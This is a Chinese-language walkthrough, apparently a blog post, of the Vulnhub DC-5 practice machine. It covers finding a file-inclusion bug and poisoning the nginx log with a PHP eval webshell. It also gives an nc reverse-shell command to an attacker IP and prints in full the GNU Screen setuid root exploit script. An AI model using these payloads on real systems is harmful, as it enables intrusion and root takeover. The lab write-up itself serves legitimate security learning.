天天看點

Vulnhub DC5靶機簡介getshell提權總結

靶機簡介

DC-5是另一個專門建造的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。據我所知,隻有一個可以利用的入口點

(也沒有SSH)

。這個特定的入口點可能很難識别,但它确實存在。

你需要尋找一些不尋常的東西(一些随着頁面的重新整理而改變的東西)。

這将有望為漏洞可能涉及的問題提供一些思路。這個挑戰的最終目标是獲得根并閱讀唯一的旗幟。

getshell

提示我們要重新整理頁面,有的東西要重新整理頁面而随之改變,通過這個線索找到了thankyou.php重新整理頁面會更新頁腳

有時候是2017,有時候2018有時候2019

而後又通過目錄掃描發現了footer.php

那麼可以推測的是,thankphp通過檔案包含包含了footer.php。但不知道寫沒有寫死,如果沒寫死的話,這裡就存在檔案包含漏洞。

而事實證明是沒有寫死的

通過檔案包含讀取

/etc/passwd

發現存在Mysql,那可以讀一讀mysql的配置檔案

什麼消息都沒有得到。用nmap探測以下中間件

通過包含nginx日志getshell,nginx在linux下的預設路徑

/var/log/nginx/

,先thankyou.php中file參數輸入一句話。

thankyou.php?file=<?php @eval($_POST[dimp]);?>

而這句話會引起報錯thankyou.php報錯,,這個時候再去包含error.log,即可成功getshell

注意,之前一直在中間一句話中間加參數,即

file=<?php+eval($_POST[dimp]);?>

但是一直連接配接失敗,後來把加号去掉就好了,可能因為寫入日志的時候并沒有轉義加号。

提權

先反彈shell,由于目标環境存在nc,直接nc反彈

nc -e /bin/bash 192.168.43.201 4444

系統資訊收集

uname -a
cat /etc/*release
           

但是并沒有找到合适的提權漏洞

檢視suid權限

然後一個一個百度搜有沒有什麼提權辦法,當我搜到screen提權時。。

好的我知道了,

架設一個伺服器,采用

wget的方式下載下傳poc到靶機上

(我傻了,用蟻劍上傳不就行了)

但是卻發現無法運作

檢視這個.sh檔案

echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!
");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
           

發現它就是編譯了兩個c檔案,然後運作。那麼我們直接編譯好在上傳到靶機中運作即可。先建立libhax.c和rootshell.c,然後根據上面這個exp的指令編譯

gcc -fPIC -shared -ldl -o libhax.so libhax.c

gcc -o rootshell rootshell.c

然後将兩個生成的檔案通過蟻劍上傳到靶機,然後根據exp輸入指令一步一步走就行了

檢視最終flag

總結

1.不看wp,真的很難發現有個檔案包含

2.有檔案包含後,根據中間件讀取日志

3.nginx包含日志檔案getshell

4.suid提權,把每個suid權限挨個百度搜,看有沒有辦法提